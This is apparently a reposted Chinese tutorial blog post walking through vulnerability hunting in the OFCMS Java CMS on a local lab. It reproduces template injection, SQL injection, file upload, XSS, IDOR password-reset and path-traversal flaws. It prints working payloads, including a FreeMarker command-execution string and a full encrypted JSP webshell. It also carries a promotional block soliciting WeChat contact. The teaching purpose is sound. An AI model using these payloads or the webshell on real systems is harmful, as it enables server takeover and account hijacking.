前言
挖了一些phpcms的漏洞了,突然想嘗試去挖一下javacms的漏洞,于是寫下這篇文章來記錄一下自己挖洞的一個流程,希望能幫助到一些正在學習挖洞的師傅們,
確立目標
挖洞的第一步首先是確立一個目標,也就是找個cms來挖,這里可以通過github,gitee或者谷歌百度直接去搜cms,
如果挖洞經驗比較少的話建議找一下star少的cms去挖,找到相應的專案,然后點進去,下載原始碼,然后看專案的介紹,大致了解一下專案的資訊和安裝的程序,
資訊收集
如果確定了目標,接下來我們可以去了解一下他的專案資訊,相應的漏洞等,
專案資訊除了上面的README以為還可以看看issues模塊,這里可能會有一些系統問題或者安裝問題,后續我們可能會遇到
漏洞資訊的話可以通過cnvd或者其他漏洞平臺(直接百度也可以)去查看該系統的漏洞情況,
或者cnvd查看相應的資訊,通過查看相應的資訊可以提高我們挖洞的效率,我們從中可以知道該專案已經存在漏洞,我們到時候挖就可以看看相應的地方會不會還存在漏洞或者避免挖到別人挖過的漏洞,
環境搭建
上面的資訊收集完之后我們就要開始搭建環境了,搭建環境是很關鍵的一步,由于某些cms安裝程序繁瑣或者沒寫好說明,會導致安裝出現很多問題甚至裝不上,這里我們要注意專案的檔案,如果實在安裝有問題可以通過相關渠道去聯系一下作者或者相應的qq群尋求一下幫助,
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
本次挖掘的漏洞是ofcms,首先先下載一下原始碼,然后解壓丟一邊,回到網頁來看一下專案檔案,
環境要求
一般專案都會有寫環境要求的,我們調整一下就好,
環境準備
環境解壓完我們用idea打開,如果發現一些重要目錄檔案不見了,重開一下就有了,
資料庫
首先找到db.properties,如果不能一眼看到可以通過ctrl+shift+f來快速搜索
/ofcms-admin/src/main/resources/dev/conf/db.properties
找到了檔案,訪問相對應的路徑即可,這里我們修改一下資料庫用戶名和密碼,然后點擊右邊的資料庫來測驗連接,
然后按資料庫資訊來修改,然后點擊右邊的資料庫,配置一下,
如果出現以下的錯誤
Server returns invalid timezone. Go to 'Advanced' tab and set 'serverTimezone' property manually.
這是時區問題,如果配置了環境變數報錯,可以通過以下步驟來解決,
win+R cmd mysql -hlocalhost -uroot -p (然后輸入資料庫密碼) show variables like'%time_zone'; set global time_zone = '+8:00';
沒配置環境變數的,看這個文章
https://blog.csdn.net/liuqiker/article/details/102455077
配置成功效果圖如下
maven
右鍵專案找到mavne重新加載專案即可
tomcat
在run-configuration中配置tomcat
在Deployment配置一下
一切配置好后點擊run啟動就可以了,如果遇到埠報錯改一下埠,其他的報錯就百度一下,
安裝程序
這一步就比較簡單了,跟著弄就好了,
下一步,然后配置好資料庫,這里記得先在資料庫中新建個ofcms的庫,否則會報Unknown database 'ofcms'的錯,
在這里,正常安裝步驟是建立好資料庫,輸入賬號密碼就等待安裝就好,
如果出現以下報錯,我們可以通過手工匯入資料庫,這一種情況在安裝別的cms也很常見,在安裝遇到資料庫問題我們可以直接匯入資料庫,
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DROP TABLE IF EXISTS `of_cms_access`; CREATE TABLE `of_cms_access` ( `access_i' at line 21
資料庫位置ofcms-master\doc\sql,選擇相應的版本直接拖進navicat中,然后匯入成功后重繪一下就好,
接著將資料庫組態檔db-config.properties檔案名修改為db.properties,重啟一下服務,
漏洞復現
環境搭建完,我們就可以開始挖洞了,然后在這里我建議是能找到該漏洞已存在的文章,我們就先去復現一下,看看別的師傅們的挖過的漏洞,一方面是防止重復,一方面是可以學習一下別人的挖洞思路,
ofcms其實存在挺多漏洞的,這里我們就來簡單復現一下,大致看看師傅們的挖洞思路,
任意檔案寫入
漏洞模板檔案這個位置,漏洞的詳細分析可以看看文章
漏洞復現
我們選擇任意一個html,然后點擊保存抓包,我們可以看到包的資訊,
這里就是寫入檔案,我們在admin目錄下寫入eek1.xml檔案,
通過上面任意檔案讀取漏洞去讀取一下
模板注入漏洞
漏洞在模板注入,這個漏洞主要是pom.xml引入了freemarker-2.3.21依賴,但是留下一些不安全因素導致的,具體漏洞分析可以看這篇文章,
漏洞復現
漏洞復現程序比較簡單,我們直接在html檔案中插入payload就可以了
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("calc") }
插入后直要訪問前臺就會出發payload
模板注入的知識點可以看看這篇文章
通過這一個洞,我們可以挖洞的時候可以去注意一下pom.xml引入的模板,
SQL注入漏洞
漏洞分析參考文章,由于這里的預編譯處理不起作用,所以可以執行SQL陳述句,
漏洞復現
漏洞點在系統設定---代碼生成---添加----添加表,在這里抓一下包
直接把payload輸進來
update of_cms_ad set ad_id=updatexml(1,concat(1,user()),1)
任意檔案上傳
漏洞分析在上一篇文章里有說,這里主要就是利用windows或中間件檔案上傳特性來避免結尾為jsp或jspx
漏洞復現
找到一個上傳點然后抓包,我這里是在內容管理----欄目管理----新增----新增用戶----上傳附件這里抓包的,
eek.jsp <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
可以看到檔案上傳進去,而且內容沒被修改,
漏洞挖掘
通過上面的內容,我們學習了別的師傅的挖洞思路,接下來就是我自己的挖洞程序了,下面是我挖的幾個洞,
首先除了已經存在的漏洞外,我們要大致知道什么漏洞會存在什么地方,例如登錄注冊界面會出現sql漏洞,邏輯漏洞等,留言框可能會出現xss漏洞,上傳頭像界面可能會出現任意檔案上傳漏洞等,資訊泄露漏洞也可以通過御劍或者其他工具去掃一下,
XSS漏洞
漏洞復現
對于前臺有個客戶案例,選擇其中一個案例,然后有個留言框,這里直接打入xss的payload就可以了,
<video src=https://www.cnblogs.com/hetianlab/p/x one rror=alert("eek") />
漏洞分析
檔案位置ofcms-master\ofcms-api\src\main\java\com\ofsoft\cms\api\v1
package com.ofsoft.cms.api.v1; ? import com.jfinal.plugin.activerecord.Db; import com.ofsoft.cms.api.ApiBase; import com.ofsoft.cms.core.annotation.Action; import com.ofsoft.cms.core.api.ApiMapping; import com.ofsoft.cms.core.api.RequestMethod; import com.ofsoft.cms.core.api.check.ParamsCheck; import com.ofsoft.cms.core.api.check.ParamsCheckType; import com.ofsoft.cms.core.utils.IpKit; import java.util.Map; ? ? /** * 評論介面 * * @author OF * @date 2019年2月24日 */ @Action(path = "/comment") public class CommentApi extends ApiBase { /** * 獲取內容資訊 */ @ApiMapping(method = RequestMethod.GET) @ParamsCheck( {@ParamsCheckType(name = "comment_content"), @ParamsCheckType(name = "content_id"), @ParamsCheckType(name = "site_id")}) public void save() { try { Map params = getParamsMap(); params.put("comment_ip", IpKit.getRealIp(getRequest())); Db.update(Db.getSqlPara("cms.comment.save", params)); rendSuccessJson(); } catch (Exception e) { e.printStackTrace(); rendFailedJson(); } } }
請求/api/v1/comment/save.json?comment_content=123&content_id=61&site_id=1&check_status=1&_=1644130926694
這里直接接受請求,未對content的內容進行檢測,直接將請求的值存入資料庫中,導致存在跨站腳本漏洞,
邏輯缺陷漏洞1
本地環境
現有兩個用戶資訊,系統管理員admin和普通管理員eek,如下是系統管理員的界面,
admin/admin
eek/123
超級管理員后臺界面,
普通管理員后臺界面
漏洞復現
我們先以普通管理員登錄
點擊右上角,修改密碼
在此處burp抓包
修改id為1,密碼任意
修改前admin的密碼是admin
修改后為admin,密碼是eek
漏洞分析
漏洞檔案:\ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java的respwd方法
... public void respwd() { Map<String, Object> params = getParamsMap(); String password = (String) params.get("password"); String newpassword = (String) params.get("newpassword"); if (!password.equals(newpassword)) { rendFailedJson("兩次密碼不一致!"); return; } Record record = new Record(); if (!StringUtils.isBlank(password)) { password = new Sha256Hash(password).toHex(); record.set("user_password", password); } record.set("user_id", params.get("user_id")); try { Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record); rendSuccessJson(); } catch (Exception e) { e.printStackTrace(); rendFailedJson(ErrorCode.get("9999")); } }...
在此方法中,后臺對前端界面的id和兩次密碼值進行獲取,然后傳入后端,后端直接將id和密碼傳入資料庫中,讓資料庫直接更新資訊,
這里由于id可控導致用戶可以直接修改任意id的密碼,導致該地方存在任意用戶密碼重置,
邏輯缺陷漏洞2
本地環境
資料庫資訊如下圖所示
現在有超級管理員,admin/123
?
普通管理員,eek/123
漏洞復現
首先以普通管理員身份登錄,然后點擊右上角,基本資料
在此處burp抓包
修改資訊,user_id改為1,密碼修改為admin
以系統管理員身份登錄
成功登錄
漏洞分析
漏洞檔案:\ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java的update方法
... public void update() { Map<String, Object> params = getParamsMap(); String password = (String) params.get("password"); if (!StringUtils.isBlank(password)) { password = new Sha256Hash(password).toHex(); params.put("user_password", password); } params.remove("password"); ? String roleId = (String) params.get("role_id"); if (!StringUtils.isBlank(roleId)) { SqlPara sql = Db.getSqlPara("system.user.role_update", params); Db.update(sql); } params.remove("role_id"); ? Record record = new Record(); record.setColumns(params); try { Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record); rendSuccessJson(); } catch (Exception e) { e.printStackTrace(); rendFailedJson(ErrorCode.get("9999")); } } ...
在此方法中,后臺管理直接將新增的資料放到資料庫中,直接對資料庫內容進行更新,未對不合法內容進行檢測,導致該地方存在任意用戶資訊重置,
任意檔案讀取
漏洞復現
找到模板檔案
所對應的路徑是\ofcms-master\ofcms-admin\src\main\webapp\WEB-INF\page\default,這里可以通過目錄穿越來讀取任意檔案,
在他的上兩級有個web.xml檔案,我們嘗試讀取一些,
這里不能直接編輯,burp抓個包,
web.xml檔案如下所示
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://td/web-app_2_3.dtd" > ? <web-app> <display-name>Archetype Created Web Application</display-name> <listener> <listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class> </listener> <filter> <filter-name>shiro</filter-name> <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class> </filter> .........
讀取成功
漏洞分析
漏洞檔案位置:ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\cms\TemplateController.java漏洞位于該模塊的getTemplates方法中
package com.ofsoft.cms.admin.controller.cms; ? ... public void getTemplates() { //當前目錄 String dirName = getPara("dir",""); //上級目錄 String upDirName = getPara("up_dir","/"); //型別區分 String resPath = getPara("res_path"); //檔案目錄 String dir = null; if(!"/".equals(upDirName)){ dir = upDirName+dirName; }else{ dir = dirName; } File pathFile = null; if("res".equals(resPath)){ pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir); }else { pathFile = new File(SystemUtile.getSiteTemplatePath(),dir); } ? File[] dirs = pathFile.listFiles(new FileFilter() { @Override public boolean accept(File file) { return file.isDirectory(); } }); if(StringUtils.isBlank (dirName)){ upDirName = upDirName.substring(upDirName.indexOf("/"),upDirName.lastIndexOf("/")); } setAttr("up_dir_name",upDirName); setAttr("up_dir","".equals(dir)?"/":dir); setAttr("dir_name",dirName.equals("")?SystemUtile.getSiteTemplatePathName():dirName); setAttr("dirs", dirs); /*if (dirName != null) { pathFile = new File(pathFile, dirName); }*/ File[] files = pathFile.listFiles(new FileFilter() { @Override public boolean accept(File file) { return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml") || file.getName().endsWith(".css") || file.getName().endsWith(".js")); } }); setAttr("files", files); String fileName = getPara("file_name", "index.html"); File editFile = null; if (fileName != null && files != null && files.length > 0) { for (File f : files) { if (fileName.equals(f.getName())) { editFile = f; break; } } if (editFile == null) { editFile = files[0]; fileName = editFile.getName(); } } ? setAttr("file_name", fileName); if (editFile != null) { String fileContent = FileUtils.readString(editFile); if (fileContent != null) { fileContent = fileContent.replace("<", "<").replace(">", ">"); setAttr("file_content", fileContent); setAttr("file_path", editFile); } } if("res".equals(resPath)) { render("/admin/cms/template/resource.html"); }else{ render("/admin/cms/template/index.html"); } } ......
這里沒有對dir和dir_name的值進行不合法輸入檢測,導致這里可以進行目錄穿越,然后后面的就只有對檔案是否存在進行判斷,若存在則讀取,所以此處存在任意檔案讀取漏洞,
宣告:本文僅限于技術討論與分享,嚴禁用于非法途徑,若讀者因此作出任何危害網路安全行為后果自負,與本號及原作者無關,
更多靶場實驗練習、網安學習資料,請點擊這里>>
搜索
復制
合天智匯:合天網路靶場、網安實戰虛擬環境轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/502122.html
標籤:其他
